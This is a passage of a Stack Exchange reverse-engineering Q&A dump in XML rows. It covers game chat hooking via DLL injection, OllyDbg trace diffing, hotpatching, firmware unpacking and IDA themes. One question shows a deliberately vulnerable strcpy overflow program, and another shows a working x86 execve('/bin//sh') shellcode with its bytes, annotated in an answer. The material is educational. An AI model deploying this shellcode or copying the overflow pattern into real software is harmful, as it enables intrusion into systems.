LastEditDate="2019-02-15T14:18:37.550" LastActivityDate="2019-02-15T14:18:37.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20625" PostTypeId="1" CreationDate="2019-02-15T22:20:36.723" Score="2" ViewCount="1448" Body="&lt;p&gt;First and foremost, this is really just a UI hack, nothing that would give you an unfair advantage over an opponent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I play an online game that is predominately played by Spanish speaking players. I've got a really simple lookup type program that swaps out Spanish words for English so I work out what they are saying, so I can communicate with my teammates. I currently do this by typing whatever I understand from the game window into another window I have open (my program), it's cumbersome and messy and I'd like to just have this done automatically, ideally in the UI of the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solid plan I can use to go about finding out how to do this. I've tried to find memory addresses of the text, but this seems to change every execution and doesn't even maintain messages as more messages are received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or advice would be great; also any questions please feel free to ask, I'm not sure what information is appropriate to share.&lt;/p&gt;&#xA;" OwnerUserId="11895" LastActivityDate="2023-03-08T19:14:36.270" Title="How to 'hack' the chat box in an online game" Tags="|game-hacking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20626" PostTypeId="1" CreationDate="2019-02-15T23:31:28.017" Score="1" ViewCount="731" Body="&lt;p&gt;I have a program that executes differently depending on what files are present on my computer. I'd like to run a trace in two scenarios (with the default file and with an edited version of the file) and then compare the traces to see where things differ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an in built method to do this in ollydbg? I'm by no means an expect with ollydbg, but I'm willing to put in any amount of time and effort to figure this out - I just need a little direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="27465" LastActivityDate="2019-02-16T05:52:33.163" Title="Compare two traces from ollydbg" Tags="|ollydbg|tracing|compare|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20627" PostTypeId="2" ParentId="20625" CreationDate="2019-02-15T23:47:15.287" Score="2" Body="&lt;p&gt;Yeah, there are multiple ways that this can be accomplished, depending on the type of game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the network packets of the game aren't encrypted you could probably sniff the traffic for the &quot;chat message&quot; network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do a graphics library injection and replace the chat message routine with yours. I would imagine it would be similar to the process you would follow for developing a wall hack (chams)... First figure out what graphics library the game is using. Then determine which function routine is being used for writing the text. Hooking your own graphics calls is probably the approach that I would take considering graphics library API is pretty well documented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which game is it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you could probably do is just use a text parser to read the chat box with python or whatever language.&lt;/p&gt;&#xA;" OwnerUserId="27466" LastActivityDate="2019-02-15T23:47:15.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20628" PostTypeId="2" ParentId="20626" CreationDate="2019-02-16T05:52:33.163" Score="1" Body="&lt;p&gt;version used: &lt;strong&gt;ollydbg v2&lt;/strong&gt; but method is similar for &lt;strong&gt;v1&lt;/strong&gt; too   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ollydbg allows you to log the trace i have done some crude diffs in the past as below &#xA;you can try improvise   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the source code that's used for demo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;keep in mind i had the source so i compiled it and linked with with /FIXED linker switch to vs 2017 linker so that ASLR doesn't get into play and make life harder&#xA;if you have a prebuilt binary  and cant force load it in same address each time &#xA;text diffing will be tedious &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example push 402080 will be push f02080  which shouldn't matter &#xA;but text diff will show it a a difference and it is pure noise &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;void main (int argc , char *argv[]) &#xA;{&#xA;    if (argc !=2 ) &#xA;    {&#xA;        printf(&quot;usage %s password\n&quot; , argv[0]);&#xA;        exit(-1);&#xA;    }&#xA;    int password = atoi(argv[1]);&#xA;    if(password == 1337) &#xA;    {&#xA;        printf(&quot;good\n&quot;);&#xA;        exit(1);&#xA;    }&#xA;    else&#xA;    {&#xA;        printf(&quot;Try again\n&quot;);&#xA;        exit(0);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;open a blank ollydbg and set trace options like this and close it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Nv806.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nv806.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;open a command prompt and run the executable wit a wrong pass&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ollydbg.exe diffway.exe 4567  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when ollydbg stops on initial breakpoint open the trace window &#xA;1) view run trace or ... icon&lt;br&gt;&#xA;2) right click&lt;br&gt;&#xA;3) log to file -&gt; file name (say wrongpass.txt)-&gt; ok&lt;br&gt;&#xA;4) ctrl+f11 to trace in this will end in a termination&lt;br&gt;&#xA;5) trace window-&gt; right click -&gt; stop Logging -&gt; close ollydbg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;repeat the procedure with right pass and rightpass.txt as file name &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you will now have two text files of two executions &lt;/p&gt;&#xA;&#xA;&lt;p&gt;sed grep awk diff are your friends now  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;rip the modified registers column we are not interested in registers &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sed s/&quot;...=.*&quot;//g wrongpass..txt &amp;gt;&amp;gt; ripwrongpass.txt&#xA;sed s/&quot;...=.*&quot;//g rightpass..txt &amp;gt;&amp;gt; riprightpass.txt&#xA;diff -w riprightpass.txt ripwrongpass.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we got the first divergence between executions here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&#xA;    :\&gt;diff -w riprightpass..txt ripwrongpass..txt&#xA;    170028,170029c170028,170029&#xA;     main  00401050  PUSH    0043E1B4&#xA;     main  00401055  CALL    004010C0&#xA;    ---&#xA;     main  00401066  PUSH    0043E1BC&#xA;     main  0040106B  CALL    004010C0&#xA;    170477a170478,171087&#xA;    &gt; main  00410D40  MOVZX   EAX, BYTE PTR DS:[ECX*8+EAX+43EF78];&#xA;    &gt; main  00410D48  SHR     EAX, 4&#xA;&#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CtYvp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CtYvp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-02-16T05:52:33.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20629" PostTypeId="2" ParentId="20617" CreationDate="2019-02-16T10:28:14.877" Score="0" Body="&lt;p&gt;JADX often provides inaccurate de-compilation output. You'll have to look at the smali in methods that you find inconsistent.&lt;br&gt;&#xA;About the wrong parameter in the aa.a method, you'll have to check the smali to make sure you've got the right class and the right method because I never saw JADX get the types wrong.&lt;br&gt; &lt;br&gt;&#xA;Now, about the request body, it seems like it's the base64 of some encrypted bytes. If I were you I'd look for xrefs for the endpoint retro fit method, and see how the arguments are generated.&lt;br&gt;&#xA;You could also try to hook the methods from the cipher class you found and compare that to what you see in the requests.&lt;/p&gt;&#xA;" OwnerUserId="21707" LastActivityDate="2019-02-16T10:28:14.877" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20630" PostTypeId="2" ParentId="20614" CreationDate="2019-02-16T10:48:47.093" Score="1" Body="&lt;p&gt;If you know where the data is going to be before it's written, you can set a write hardware breakpoint and it should stop whenever that memory location is populated.&lt;br&gt;&#xA;Otherwise, you'll to reverse engineer where RCX comes by going up the stack frame judging by the decompiled output.&lt;/p&gt;&#xA;" OwnerUserId="21707" LastActivityDate="2019-02-16T10:48:47.093" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20631" PostTypeId="2" ParentId="20625" CreationDate="2019-02-16T14:53:54.550" Score="2" Body="&lt;p&gt;One approach is to use DLL Injection. You would have to identify the functions that prints chat, then you can install a hook and make it process a different text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of this: &lt;a href=&quot;https://github.com/ur0/DotATranslator&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ur0/DotATranslator&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1635" LastActivityDate="2019-02-16T14:53:54.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20632" PostTypeId="1" AcceptedAnswerId="20688" CreationDate="2019-02-16T17:18:16.027" Score="5" ViewCount="16819" Body="&lt;p&gt;I'm trying to unpack (extract) and analyse the firmware of an IP Camera (Xiaomi mjsxj02cm).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this &lt;code&gt;tf_recovery.img&lt;/code&gt; that's supposedly a U-Boot image, but I can't unpack it either using &lt;code&gt;dumpimage&lt;/code&gt; or other techniques because &lt;code&gt;mkimage -l&lt;/code&gt; doesn't provide me with enough information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dumpimage&lt;/code&gt; does nothing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ dumpimage -o out tf_recovery.img&#xA;$ ls&#xA;tf_recovery.img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mkimage -l&lt;/code&gt;doesn't show any useful information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ mkimage -l tf_recovery.img&#xA;GP Header: Size 27051956 LoadAddr 5799cfc3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;file&lt;/code&gt; gives some information, nothing I can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file tf_recovery.img &#xA;tf_recovery.img: u-boot legacy uImage, MVX2##I3g60b5603KL_LX318####[BR:\3757zXZ, Linux/ARM, OS Kernel Image (lzma), 1724412 bytes, Wed Jun  6 08:02:07 2018, Load Address: 0x20008000, Entry Point: 0x20008000, Header CRC: 0x5799CFC3, Data CRC: 0x2FF27A1D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I've already tried without success&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Multiple versions of u-boot, including the latest (v2019.04-rc1) built from source.&lt;/li&gt;&#xA;&lt;li&gt;Tried every image type explicitly, by using &lt;code&gt;-T&lt;/code&gt; parameter of &lt;code&gt;dumpimage&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Simply extracting the image like if it was a compressed archive&lt;/li&gt;&#xA;&lt;li&gt;Searched for, to the best of my abilities, any alternative methods online&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd really appreciate if anyone can provide additional ideias on how to unpack this. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="27471" LastActivityDate="2019-02-22T21:14:50.890" Title="Help unpacking U-boot firmware" Tags="|firmware|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20633" PostTypeId="1" AcceptedAnswerId="20636" CreationDate="2019-02-16T20:49:51.190" Score="1" ViewCount="111" Body="&lt;p&gt;This is the beginning of one of the functions inside NTDLL of Windows XP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EDI,EDI&#xA;PUSH EBP&#xA;MOV EBP,ESP&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The book on reverse engineering I am reading(Eldad Eilam - Reversing: Secrets of Reverse Engineering) says this about the first line:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is essentially dead code that was put in place by the compiler as a&#xA;  placeholder, in case someone wanted to trap this function. Trapping&#xA;  means that some external component adds a JMP instruction that is used&#xA;  as a notification whenever the trapped function is called.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can you show me how exactly can trapping be used in practice? I assume that trapping is just calling a function with trapping instruction inside the other function, but I don't realize how the outside function can get &quot;notified&quot; about the call... Is it possible the author meant by &quot;some external component&quot; the debugger? It can make sense because if I set a breakpoint for some strange assembly insruction like &lt;code&gt;MOV EDI, EDI&lt;/code&gt;, I'll get to where trapped function is... &lt;/p&gt;&#xA;" OwnerUserId="27474" LastEditorUserId="27474" LastEditDate="2019-02-19T19:50:18.363" LastActivityDate="2019-02-19T20:16:10.167" Title="When can trapping be used?" Tags="|disassembly|windows|binary-analysis|dll|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20634" PostTypeId="1" CreationDate="2019-02-16T21:50:05.563" Score="1" ViewCount="1060" Body="&lt;p&gt;So i am trying to &quot;hack&quot; a game however not for cheating purposes. I am looking to extend the games scripting functionality through a DLL that can look for processes and return them. The game I am looking to do this for is Train Simulator (i know, don't laugh) and the game uses lua to script all of the engine functionality within the game. All the 3rd party devs get to see is the lua script that they write.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the games lua there is core functions. The main ones:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Initialise()&#xA;&#xA;end&#xA;&#xA;function Update(time) -- time is the interval since the last update&#xA;&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is also C functions that are used as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Call(&quot;SetControlValue&quot;, name, index, value)&#xA;or&#xA;Call(&quot;GetIsPlayer&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These return different values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i have so far with my DLL is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;&#xA;&#xA;BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)&#xA;{&#xA;    switch (ul_reason_for_call)&#xA;    {&#xA;    case DLL_PROCESS_ATTACH:&#xA;        /* The DLL is being loaded for the first time by a given process.&#xA;        Perform per-process initialization here.  If the initialization&#xA;        is successful, return TRUE; if unsuccessful, return FALSE. */&#xA;        MessageBoxA(0, &quot;TSDll has been attached !&quot;, &quot;Train Sim Dll&quot;, MB_ICONEXCLAMATION | MB_OK);&#xA;        break;&#xA;    }&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this works. In my train sim engine script i am using the loadlib library to load the DLL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libinit, err = loadlib(&quot;plugins\\TSDll.dll&quot;, &quot;libinit&quot;)&#xA;if _G[&quot;libinit&quot;] then &#xA;    Print(&quot;TSDll Library Loaded!&quot;)&#xA;    libinit()&#xA;else&#xA;    Print(&quot;loadlib on TSDll failed: &quot;)&#xA;    Print(err)&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And i get this result:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wjjzZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wjjzZ.jpg&quot; alt=&quot;Dll Popup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the dll initialises properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem i face is that the Lua library is directly built in to the game binary (as far as i know) which means i am unable to reference lua.dll for fundamental functions such as lua_pushstring. Does anyone here know how i can find the address of these functions. I know a dll like this has been made before but the person who did it has been very secretive about how it has been done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="27475" LastActivityDate="2022-04-19T19:11:42.010" Title="Finding lua C functions compiled binary" Tags="|disassembly|c++|dll-injection|game-hacking|lua|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20636" PostTypeId="2" ParentId="20633" CreationDate="2019-02-17T05:01:40.953" Score="1" Body="&lt;p&gt;&lt;code&gt;mov edi, edi&lt;/code&gt; is an instruction that is called hotpatch point &lt;/p&gt;&#xA;&#xA;&lt;p&gt;there are several articles about it on the internet, notable among them are: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blogs.msdn.microsoft.com/oldnewthing/20110921-00/?p=9583&quot; rel=&quot;nofollow noreferrer&quot;&gt;Raymond Chens old new thing 1&lt;/a&gt;   &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://Raymond%20Chens%20old%20new%20thing]%20link%201&quot; rel=&quot;nofollow noreferrer&quot;&gt;Raymond Chens old new thing 2&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://jpassing.com/2011/05/03/windows-hotpatching-a-walkthrough/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Johannas passing's Hot patch walkthrough&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The main utility for this instruction is to enable a third party app or Windows update to patch an existing function to a newer function  with minimal side effects when obscure race conditions become a reality  (hard patching any function with a detour will work most of the time or as raymond puts will work 99% of the time &lt;/p&gt;&#xA;&#xA;&lt;p&gt;quoting from the article linked&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The MOV EDI, EDI instruction is a two-byte NOP, which is just enough&#xA;  space to patch in a jump instruction so that the function can be&#xA;  updated on the fly. The intention is that the MOV EDI, EDI instruction&#xA;  will be replaced with a two-byte JMP $-5 instruction to redirect&#xA;  control to five bytes of patch space that comes immediately before the&#xA;  start of the function. Five bytes is enough for a full jump&#xA;  instruction, which can send control to the replacement function&#xA;  installed somewhere else in the address space.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;mov edi, edi&lt;/code&gt; is used in conjunction with five space holders emitted by the compiler before the &lt;code&gt;mov edi, edi&lt;/code&gt; like &lt;code&gt;0xcc&lt;/code&gt; or &lt;code&gt;0x90&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so the patching software can patch in an atomically replaceable short jump and a long jump to a control area&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="2147" LastEditDate="2019-02-19T20:16:10.167" LastActivityDate="2019-02-19T20:16:10.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20640" PostTypeId="2" ParentId="20632" CreationDate="2019-02-17T14:46:00.703" Score="3" Body="&lt;p&gt;Try dumping the byte stream starting at the signature &lt;a href=&quot;https://tukaani.org/xz/format.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;FD 37 7A 58 5A 00&lt;/a&gt;, then extract it using &lt;code&gt;7z&lt;/code&gt; or &lt;code&gt;xz&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it is only a Linux kernel image, it probably does not contain the full filesystem image (at most a minimal ramdisk).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-02-17T14:46:00.703" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20641" PostTypeId="1" AcceptedAnswerId="20668" CreationDate="2019-02-17T19:17:27.437" Score="-1" ViewCount="1342" Body="&lt;p&gt;I have a PE executable which uses threads to handle most of its functionality. It uses &lt;code&gt;CreateThread&lt;/code&gt; API to spawn local threads to handle functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p9g5w.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p9g5w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The call to the CreateThread returns a valid handle value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IMY5T.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IMY5T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is sometimes I don't see the thread getting created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or other times the thread gets created but none of the code that's specified at that thread's start address gets executed.(even though the thread is created with the &lt;code&gt;dwCreationFlags&lt;/code&gt; parameter being set to 0)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would the problem be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I can't share the executable but I can provide more screenshots.&lt;/p&gt;&#xA;" OwnerUserId="20848" LastEditorUserId="20848" LastEditDate="2019-02-19T16:15:43.313" LastActivityDate="2019-02-20T07:24:36.030" Title="CreateThread returns true but thread doesn't run" Tags="|debugging|malware|c|thread|" AnswerCount="2" CommentCount="2" ClosedDate="2019-03-28T20:16:59.407" ContentLicense="CC BY-SA 4.0" />
  <row Id="20642" PostTypeId="1" CreationDate="2019-02-17T21:35:21.280" Score="1" ViewCount="5823" Body="&lt;p&gt;I work late nights and a dark theme &lt;a href=&quot;https://github.com/zyantific/IDASkins&quot; rel=&quot;nofollow noreferrer&quot;&gt;like this&lt;/a&gt; would be nice with IDAPro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the installation steps and copied the contents of 'plugins' from the github page to the 'plugins' directory in my IDAPro folder in C:/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I went to &lt;code&gt;options&lt;/code&gt; &gt; &lt;code&gt;colors&lt;/code&gt; &gt; &lt;code&gt;import&lt;/code&gt; and imported the &lt;code&gt;.clr&lt;/code&gt; file. But it only changes the color scheme for the disassembly window. Everything else is still the default theme (see image attached). I searched the web looking for if there's something I'm missing but no luck. Seems like I'm doing everything correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I'm missing? How can I get the theme to propagate all over IDAPro 7.0?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sFVQl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sFVQl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17040" LastActivityDate="2021-04-04T19:38:31.993" Title="How to load a color theme correctly in IDAPro?" Tags="|ida|idapython|ida-plugin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20643" PostTypeId="1" AcceptedAnswerId="20645" CreationDate="2019-02-17T23:44:47.593" Score="0" ViewCount="399" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ICdXt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ICdXt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the c code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void overflow (char* inbuf)&#xA;{&#xA;  char buf[64];&#xA;&#xA;  strcpy(buf, inbuf);&#xA;}&#xA;&#xA;int main (int argc, char** argv)&#xA;{&#xA;    overflow(argv[1]);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27482" LastEditorUserId="18014" LastEditDate="2019-02-18T07:07:01.607" LastActivityDate="2019-02-18T07:07:01.607" Title="why does the following non stack shellcode load /bin/sh string without pushing it onto the Stack?" Tags="|buffer-overflow|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20644" PostTypeId="2" ParentId="20642" CreationDate="2019-02-18T00:13:49.443" Score="3" Body="&lt;p&gt;I think you're talking about changing the appearance of Qt widgets and not only IDA widgets. If so, take a look at &lt;a href=&quot;https://github.com/zyantific/IDASkins&quot; rel=&quot;nofollow noreferrer&quot;&gt;zyantific/IDASkins&lt;/a&gt; python plugin.&#xA;There're also plugins in C++ if you prefer it.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-02-18T00:13:49.443" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="20645" PostTypeId="2" ParentId="20643" CreationDate="2019-02-18T01:44:40.507" Score="0" Body="&lt;p&gt;It actually does. The push operation is performed by the call instruction.&#xA;This instruction will push the address of the next instruction, here the address is 0x21.&#xA;From 0x21 to 0x28 you have your /bin/sh string which is, on your case, wrongly disassembled as x86 code.&#xA;Last but not least, the linux x86 32-bit syscall calling convention doesn't use the stack at all. The parameters are passed through ebx, ecx, edx, esi, edi, ebp and the syscall number is stored in eax.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-02-18T01:44:40.507" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20646" PostTypeId="1" AcceptedAnswerId="20647" CreationDate="2019-02-18T03:17:45.750" Score="-2" ViewCount="439" Body="&lt;p&gt;Disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:  31 c9                    xor    ecx,ecx&#xA;2:  f7 e1                    mul    ecx&#xA;4:  51                       push   ecx&#xA;5:  68 2f 2f 73 68           push   0x68732f2f&#xA;a:  68 2f 62 69 6e           push   0x6e69622f&#xA;f:  89 e3                    mov    ebx,esp&#xA;11: b0 0b                    mov    al,0xb&#xA;13: cd 80                   int    0x80&#xA;15: 51                      push   ecx&#xA;16: b0 01                   mov    al,0x1&#xA;18: cd 80                   int    0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27482" LastEditorUserId="2318" LastEditDate="2019-02-18T06:33:02.953" LastActivityDate="2019-02-18T12:35:56.383" Title="Can anyone please explain the following dissasembly codes?" Tags="|disassembly|assembly|x86|shellcode|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20647" PostTypeId="2" ParentId="20646" CreationDate="2019-02-18T10:13:22.620" Score="1" Body="&lt;pre&gt;&lt;code&gt;0:  31 c9                 xor    ecx,ecx     ;; ecx = 0&#xA;2:  f7 e1                 mul    ecx         ;; eax = eax * ecx (set eax to 0)&#xA;4:  51                    push   ecx         ;; push 0 on stack (string end)&#xA;5:  68 2f 2f 73 68        push   0x68732f2f  ;; push &quot;//sh&quot; on stack&#xA;a:  68 2f 62 69 6e        push   0x6e69622f  ;; push &quot;/bin&quot; on stack&#xA;f:  89 e3                 mov    ebx,esp     ;; ebx = esp (esp = @&quot;/bin//sh\0&quot;)&#xA;11: b0 0b                 mov    al,0xb      ;; eax = 0xb (sys_call_execve)&#xA;13: cd 80                 int    0x80        ;; call execve(&quot;/bin//sh&quot;)&#xA;15: 51                    push   ecx         ;; push 0 on stack&#xA;16: b0 01                 mov    al,0x1      ;; eax = 1 (sys_call_exit)&#xA;18: cd 80                 int    0x80        ;; call exit(ebx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, this is a shellcode that run &lt;code&gt;/bin/sh&lt;/code&gt; and, then, &lt;code&gt;exit()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2019-02-18T12:35:56.383" LastActivityDate="2019-02-18T12:35:56.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20648" PostTypeId="1" CreationDate="2019-02-18T18:04:34.360" Score="4" ViewCount="1000" Body="&lt;p&gt;I'm new with reversing and I did the following experiment just intent to help my understanding. I created a very simple 64-bit c++ program.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;&#xA;using namespace std;&#xA;&#xA;int main(int argc, char* argv[])&#xA;{&#xA;    string s1{ &quot;test&quot; };&#xA;    cout &amp;lt;&amp;lt; s1 &amp;lt;&amp;lt; endl;&#xA;    cout &amp;lt;&amp;lt; &amp;amp;s1 &amp;lt;&amp;lt; endl;&#xA;&#xA;    cout &amp;lt;&amp;lt; &quot;============&quot; &amp;lt;&amp;lt; endl;&#xA;&#xA;    int i{ 10 };&#xA;    cout &amp;lt;&amp;lt; i &amp;lt;&amp;lt; endl;&#xA;    cout &amp;lt;&amp;lt; &amp;amp;i &amp;lt;&amp;lt; endl;&#xA;&#xA;    getchar();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then compiled it and started it. The output is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a 